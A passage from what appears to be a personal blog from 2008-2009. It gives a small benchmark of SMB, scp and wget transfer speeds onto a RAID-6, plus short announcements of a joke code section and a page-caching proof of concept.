In case you were wondering, I started comparing the transfer speeds of different protocols. I stopped after three. The data was being transfered onto a RAID-6. Results:

Method	Bytes	Time	Speed
smb mount then cp	733960192	425	1.647 MB/s
scp	730253312	69.48*	10.0241 MB/s
wget using http	736274432	63.2	11.1097 MB/s

There's two items to note here:

scp includes the time it took my to type in my 40+ character password. Subtract out at least 3-4 seconds.
scp and wget actually locked up my network connection. putty timed out. top indicated than an entire core was dedicated to the copy.

So there you go - if you need to transfer several hundred gigabytes, use scp.

Update (1/3/2009): Having desired the comparison facilities of rsync, I can add that rsync over ssh compares favorably, and is in the same neighborhood as straight ssh.

adventure in code added

2 Nov 2008 16:11 EST

A horrible experiment gone wrong from last weekend has been immortalized on the new adventures in code section. I'm hoping people won't read it and judge me harshly - I posted it as a joke demonstrating a horrible idea.

proof of concept added

28 Oct 2008 21:57 EST

I've been shuffling things around and adding links here and there, but I just put up the first significant content the other day, a Proof of Concept I thought up. Jeff at CodingHorror and StackOverflow had mentioned on the Hanselminutes podcast that they weren't able to do page-level caching because the page is dynamic. That's true, but I got to thinking - I can get around that. And the result is posted - check it out if you're curious.